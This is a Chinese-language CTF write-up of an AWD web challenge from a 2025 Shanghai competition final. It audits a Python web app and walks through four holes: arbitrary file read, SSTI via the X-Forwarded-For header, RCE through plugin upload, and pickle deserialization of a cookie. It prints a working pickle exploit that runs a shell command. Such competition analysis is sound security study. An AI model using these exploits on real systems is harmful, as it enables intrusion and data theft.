上海市赛/磐石行动2025决赛awd web2-python 4个漏洞详解
前言
赛中一直被宕,一直重启,没时间审代码,赛后也是猛猛挖了一波,平时不爱看代码,正好锻炼一下代码审计的能力
漏洞一:任意文件读取
这是最简单的一个漏洞,但是需要以admin的身份登录才能访问
在查看系统日志这里,通过path传参实现任意文件读取,不用审代码就能找到
漏洞二:模板注入
这个api并没有写前端来实现,需要审计代码,并且没有要求admin登录,所以即使你没有登录成功也可以从这里拿到flag
漏洞代码位于handlers/api/getip.py
class JsonpHandler:tpl = """
{{callback}}({real_ip: "{{real_ip}}"
});"""def GET(self):callback = xutils.get_argument_str("callback", "callback")real_ip = get_real_ip()self.tpl = self.tpl.replace("{{real_ip}}", real_ip)return xtemplate.render_text(self.tpl, real_ip = real_ip, callback = callback)
可以看到这里通过get_real_ip()函数来获取real_ip,这里的real_ip会导致ssti
def get_real_ip():real_ip_list = web.ctx.env.get("HTTP_X_FORWARDED_FOR")if real_ip_list != None and len(real_ip_list) > 0:return real_ip_list.split(",")[0]return web.ctx.env.get("REMOTE_ADDR")
在请求头里添加xff
可以看到成功解析了{{7*7}},下面使用最简单的payload读flag就行了,没有任何过滤
成功
漏洞三:上传插件rce
漏洞代码位置handlers/plugin/plugin_upload.py
class PluginUploadHandler:pattern_str = r"[0-9a-zA-Z\-_]"pattern = re.compile(pattern_str)def check_plugin_id(self, plugin_id=""):if not self.pattern.match(plugin_id):return "plugin_id 必须满足%r规则" % self.pattern_strreturn Nonedef POST(self):content = xutils.get_argument_str("content")meta = xutils.load_script_meta_by_code(content)plugin_id = meta.get_str_value("plugin_id")if plugin_id == "" or plugin_id == None:return FailedResult(code="400", message="id 不能为空")err = self.check_plugin_id(plugin_id)if err != None:return FailedResult(code="400", message=err)xutils.makedirs(xconfig.FileConfig.plugins_upload_dir)plugin_path = os.path.join(xconfig.FileConfig.plugins_upload_dir, plugin_id + ".py")with open(plugin_path, "w+") as fp:fp.write(content)# 加载插件try:load_plugin_file(plugin_path, raise_exception=True)return SuccessResult()except Exception as e:return FailedResult(message=str(e))xurls = (r"/plugins_upload", PluginUploadHandler,
)
这里有一个必传的参数plugin_id,通过get_str_value()函数获取
def get_str_value(self, key, default_value = ""):value = self.meta_dict.get(key)if value is None:return default_valueelse:return str(value)
def load_meta_by_code(self, code):for line in code.split("\n"):if not line.startswith("#"):continueline = line.lstrip("#\t ")if not line.startswith("@"):continueline = line.lstrip("@")# 去掉注释部分meta_line = line.split("#", 1)[0]# 拆分元数据meta_parts = meta_line.split(maxsplit = 1)meta_key = meta_parts[0]# meta_value = meta_parts[1:]if len(meta_parts) == 1:meta_value = ''else:meta_value = meta_parts[1]meta_value = meta_value.strip()self.add_item(meta_key, meta_value)self.add_list_item(meta_key, meta_value)return self.meta_dict
可以得知在传参的时候前面要跟上#和@
在我们上传成功之后通过load_plugin_file()函数加载插件
def load_plugin_file(fpath, fname=None, raise_exception=False):if not is_plugin_file(fpath):returnif fname is None:fname = os.path.basename(fpath)dirname = os.path.dirname(fpath)# 相对于插件目录的名称plugin_name = fsutil.get_relative_path(fpath, xconfig.PLUGINS_DIR)vars = dict()vars["script_name"] = plugin_namevars["fpath"] = fpathtry:meta = xutils.load_script_meta(fpath)context = PluginContext()context.is_external = Truecontext.icon_class = DEFAULT_PLUGIN_ICON_CLASS# 读取meta信息context.load_from_meta(meta)context.fpath = fpathcontext.plugin_id = meta.get_str_value("plugin_id")context.meta = metacontext.plugin_name = plugin_nameif context.plugin_id == "":# 兼容没有 plugin_id 的数据context.plugin_id = fpathif meta.has_tag("disabled"):return# 2.8版本之后从注解中获取插件信息module = xutils.load_script(fname, vars, dirname=dirname)main_class = vars.get("Main")return load_plugin_by_context_and_class(context, main_class)except Exception as e:# TODO 增加异常日志xutils.print_exc()if raise_exception:raise e
通过load_script()->exec_python_code执行上传的插件中的python代码
def load_script(name, vars = None, dirname = None, code = None):"""加载脚本@param {string} name 插件的名词,和脚本目录(/data/scripts)的相对路径@param {dict} vars 全局变量,相当于脚本的globals变量@param {dirname} dirname 自定义脚本目录@param {code} 指定code运行,不加载文件"""code = _load_script_code(name, dirname)return exec_python_code(name, code, record_stdout = False, raise_err = True, vars = vars)
exp
这里是没有回显的,可以配合前面的任意文件读取读flag或者把别人的服务给下掉之类的,怀疑当时就是有人用这里一直下全场的服务,导致大家会突然宕
漏洞4:pickle反序列化
这是最复杂的一个漏洞了,花费的时间最长,还是太菜了呜呜呜~~~
直接全局搜索危险函数pickle.loads,发现有两处
def decode(self, session_data):"""decodes the data to get back the session dict """pickled = base64.decodestring(session_data)return pickle.loads(pickled)
def get_user_from_cookie():sid = get_session_id_from_cookie()user = get_user_by_sid(sid)if user is not None:return usercookies = web.cookies()remeberme = cookies.get("rememberme", "")if remeberme != "":user = pickle.loads(bytes.fromhex(remeberme))return user
但是进一步看会发现decode函数所在的类根本没使用,所以只需要看一下哪里调用了get_user_from_cookie()
继续全局搜索
def get_current_user():if TestEnv.has_login:return get_user_by_name(TestEnv.login_user_name)user = get_user_from_token()if user != None:return userif not hasattr(web.ctx, "env"):# 尚未完成初始化return Nonereturn get_user_from_cookie()
可以看到只有get_content_user()函数调用了,继续搜
发现有好几个接口都调用了这个函数,但是出了/system/index这个接口之外都加了一个修饰器
@xauth.login_required("admin")
而我们要想执行到
user = pickle.loads(bytes.fromhex(remeberme))
就不能进入
if user is not None:return user
所以我们要让user为空,可以看到user是通过sid来获取的
user=get_user_by_sid(sid)
所以我们的思路是把sid置空或者传一个不存在的sid,让他通过rememberme参数来获取user
从而执行pickle.loads
如果这个接口加了@xauth.login_required("admin"),就必须要登录才能访问,而登录必须要sid,所以我们只能通过唯一的不需要登录的接口/system/index来打
把序列化的字符串hex编码一下传参即可
附上exp
import pickle, osclass RCE:def __reduce__(self):return (os.system, ("cat /flag > /tmp/flag.txt",))payload = pickle.dumps(RCE())
hex_payload = payload.hex()
print(hex_payload)
成功
特别说明:或许是环境的问题,用windwos跑出来的payload打不通,Linux跑出来的刚开始貌似也没成功(可能是pickle版本的问题),但pyy学长看了一眼突然好了 可恶的环境浪费我两小时